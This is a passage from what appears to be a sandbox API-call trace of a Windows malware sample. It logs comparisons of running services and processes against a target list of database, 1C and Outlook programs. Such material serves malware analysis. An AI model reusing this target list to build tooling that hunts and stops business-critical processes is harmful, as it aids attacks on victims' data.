lpString2="PlugPlay") returned 1 [0076.432] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0076.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0076.432] lstrlenW (lpString="Power") returned 5 [0076.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0076.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0076.433] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0076.433] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0076.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0076.433] lstrlenW (lpString="ProfSvc") returned 7 [0076.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0076.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0076.433] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0076.433] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0076.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0076.433] lstrlenW (lpString="RpcEptMapper") returned 12 [0076.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0076.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0076.433] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0076.433] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0076.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0076.433] lstrlenW (lpString="RpcSs") returned 5 [0076.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0076.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0076.433] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0076.433] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0076.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0076.433] lstrlenW (lpString="SamSs") returned 5 [0076.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0076.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0076.433] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0076.433] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0076.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0076.433] lstrlenW (lpString="Schedule") returned 8 [0076.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0076.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0076.433] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0076.433] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0076.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0076.434] lstrlenW (lpString="SecurityHealthService") returned 21 [0076.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0076.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0076.434] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0076.434] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0076.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0076.434] lstrlenW (lpString="SENS") returned 4 [0076.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0076.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0076.434] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0076.434] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0076.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0076.434] lstrlenW (lpString="ShellHWDetection") returned 16 [0076.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0076.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0076.434] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0076.434] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0076.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0076.434] lstrlenW (lpString="Spooler") returned 7 [0076.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0076.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0076.434] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0076.434] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0076.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0076.434] lstrlenW (lpString="SSDPSRV") returned 7 [0076.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0076.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0076.434] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0076.434] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0076.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0076.435] lstrlenW (lpString="StateRepository") returned 15 [0076.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0078.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0078.071] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0078.071] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0078.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0078.071] lstrlenW (lpString="SysMain") returned 7 [0078.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0078.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0078.072] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0078.072] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0078.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0078.072] lstrlenW (lpString="SystemEventsBroker") returned 18 [0078.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0078.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0078.072] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0078.072] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0078.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0078.072] lstrlenW (lpString="Themes") returned 6 [0078.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0078.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0078.072] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0078.072] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0078.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0078.072] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0078.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0078.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0078.072] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0078.072] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0078.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0078.072] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0078.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0078.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0078.072] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0078.072] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0078.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TimeBrokerSvc") returned -1 [0078.072] lstrlenW (lpString="TokenBroker") returned 11 [0078.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TokenBroker") returned -1 [0078.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TokenBroker") returned -1 [0078.073] lstrcmpiW (lpString1="sqlwriter", lpString2="TokenBroker") returned -1 [0078.073] lstrcmpiW (lpString1="mssqlserver", lpString2="TokenBroker") returned -1 [0078.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TokenBroker") returned -1 [0078.073] lstrlenW (lpString="TrkWks") returned 6 [0078.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0078.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0078.073] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0078.073] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0078.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0078.073] lstrlenW (lpString="UserManager") returned 11 [0078.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UserManager") returned -1 [0078.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UserManager") returned -1 [0078.073] lstrcmpiW (lpString1="sqlwriter", lpString2="UserManager") returned -1 [0078.073] lstrcmpiW (lpString1="mssqlserver", lpString2="UserManager") returned -1 [0078.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UserManager") returned -1 [0078.073] lstrlenW (lpString="UsoSvc") returned 6 [0078.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UsoSvc") returned -1 [0078.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UsoSvc") returned -1 [0078.073] lstrcmpiW (lpString1="sqlwriter", lpString2="UsoSvc") returned -1 [0078.073] lstrcmpiW (lpString1="mssqlserver", lpString2="UsoSvc") returned -1 [0078.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UsoSvc") returned -1 [0078.073] lstrlenW (lpString="VaultSvc") returned 8 [0078.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VaultSvc") returned -1 [0078.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VaultSvc") returned -1 [0078.073] lstrcmpiW (lpString1="sqlwriter", lpString2="VaultSvc") returned -1 [0078.073] lstrcmpiW (lpString1="mssqlserver", lpString2="VaultSvc") returned -1 [0078.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VaultSvc") returned -1 [0078.074] lstrlenW (lpString="Wcmsvc") returned 6 [0078.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Wcmsvc") returned -1 [0078.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Wcmsvc") returned -1 [0078.074] lstrcmpiW (lpString1="sqlwriter", lpString2="Wcmsvc") returned -1 [0078.074] lstrcmpiW (lpString1="mssqlserver", lpString2="Wcmsvc") returned -1 [0078.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Wcmsvc") returned -1 [0078.074] lstrlenW (lpString="WdiServiceHost") returned 14 [0078.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0078.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0078.074] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0078.074] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0078.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0078.074] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0078.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0078.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0078.074] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0078.074] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0078.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0078.074] lstrlenW (lpString="Winmgmt") returned 7 [0078.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0078.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0078.074] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0078.074] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0078.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0078.074] lstrlenW (lpString="WpnService") returned 10 [0078.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WpnService") returned -1 [0078.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WpnService") returned -1 [0078.074] lstrcmpiW (lpString1="sqlwriter", lpString2="WpnService") returned -1 [0078.074] lstrcmpiW (lpString1="mssqlserver", lpString2="WpnService") returned -1 [0078.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WpnService") returned -1 [0078.075] lstrlenW (lpString="wuauserv") returned 8 [0078.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0078.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0078.075] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0078.075] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0078.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0078.075] lstrlenW (lpString="CDPUserSvc_13047") returned 16 [0078.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPUserSvc_13047") returned 1 [0078.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPUserSvc_13047") returned 1 [0078.075] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPUserSvc_13047") returned 1 [0078.075] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPUserSvc_13047") returned 1 [0078.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPUserSvc_13047") returned 1 [0078.075] lstrlenW (lpString="OneSyncSvc_13047") returned 16 [0078.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="OneSyncSvc_13047") returned -1 [0078.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="OneSyncSvc_13047") returned -1 [0078.075] lstrcmpiW (lpString1="sqlwriter", lpString2="OneSyncSvc_13047") returned 1 [0078.075] lstrcmpiW (lpString1="mssqlserver", lpString2="OneSyncSvc_13047") returned -1 [0078.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="OneSyncSvc_13047") returned 1 [0078.075] lstrlenW (lpString="WpnUserService_13047") returned 20 [0078.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WpnUserService_13047") returned -1 [0078.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WpnUserService_13047") returned -1 [0078.075] lstrcmpiW (lpString1="sqlwriter", lpString2="WpnUserService_13047") returned -1 [0078.075] lstrcmpiW (lpString1="mssqlserver", lpString2="WpnUserService_13047") returned -1 [0078.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WpnUserService_13047") returned -1 [0078.075] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4b9a98 | out: hHeap=0x440000) returned 1 [0078.075] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x298 [0078.088] Process32FirstW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0078.089] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0078.089] lstrlenW (lpString="System") returned 6 [0078.089] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0078.089] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0078.089] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0078.089] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0078.089] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0078.089] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0078.090] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0078.090] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0078.090] lstrlenW (lpString="smss.exe") returned 8 [0078.090] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0078.090] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0078.090] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0078.090] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0078.090] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0078.090] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0078.090] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0078.090] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0078.091] lstrlenW (lpString="csrss.exe") returned 9 [0078.091] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0078.091] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0078.091] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0078.091] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0078.091] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0078.091] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0078.091] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0078.092] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0078.092] lstrlenW (lpString="wininit.exe") returned 11 [0078.092] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0078.092] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0078.092] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0078.092] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0078.092] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0078.092] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0078.092] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0078.092] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0078.093] lstrlenW (lpString="csrss.exe") returned 9 [0078.093] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0078.093] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0078.093] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0078.093] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0078.093] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0078.093] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0078.093] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0078.093] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0078.094] lstrlenW (lpString="winlogon.exe") returned 12 [0078.094] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0078.094] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0078.094] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0078.094] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0078.094] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0078.094] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0078.094] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0078.094] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0078.095] lstrlenW (lpString="services.exe") returned 12 [0078.095] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0078.095] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0078.095] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0078.095] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0078.095] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0078.095] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0078.095] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0078.095] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0078.096] lstrlenW (lpString="lsass.exe") returned 9 [0078.096] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0078.096] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0078.096] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0078.096] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0078.096] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0078.096] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0078.096] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0078.096] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.096] lstrlenW (lpString="svchost.exe") returned 11 [0078.096] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0078.097] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0078.097] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0078.097] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0078.097] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0078.097] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0078.097] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0078.097] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0078.097] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0078.097] lstrcmpiW (lpString1="1c8.exe", lpString2="fontdrvhost.exe") returned -1 [0078.097] lstrcmpiW (lpString1="1cv77.exe", lpString2="fontdrvhost.exe") returned -1 [0078.097] lstrcmpiW (lpString1="outlook.exe", lpString2="fontdrvhost.exe") returned 1 [0078.097] lstrcmpiW (lpString1="postgres.exe", lpString2="fontdrvhost.exe") returned 1 [0078.097] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="fontdrvhost.exe") returned 1 [0078.097] lstrcmpiW (lpString1="mysqld.exe", lpString2="fontdrvhost.exe") returned 1 [0078.097] lstrcmpiW (lpString1="sqlservr.exe", lpString2="fontdrvhost.exe") returned 1 [0078.097] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0078.098] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0078.098] lstrcmpiW (lpString1="1c8.exe", lpString2="fontdrvhost.exe") returned -1 [0078.098] lstrcmpiW (lpString1="1cv77.exe", lpString2="fontdrvhost.exe") returned -1 [0078.098] lstrcmpiW (lpString1="outlook.exe", lpString2="fontdrvhost.exe") returned 1 [0078.098] lstrcmpiW (lpString1="postgres.exe", lpString2="fontdrvhost.exe") returned 1 [0078.098] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="fontdrvhost.exe") returned 1 [0078.098] lstrcmpiW (lpString1="mysqld.exe", lpString2="fontdrvhost.exe") returned 1 [0078.098] lstrcmpiW (lpString1="sqlservr.exe", lpString2="fontdrvhost.exe") returned 1 [0078.098] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.099] lstrlenW (lpString="svchost.exe") returned 11 [0078.099] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0078.099] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0078.099] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0078.099] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") 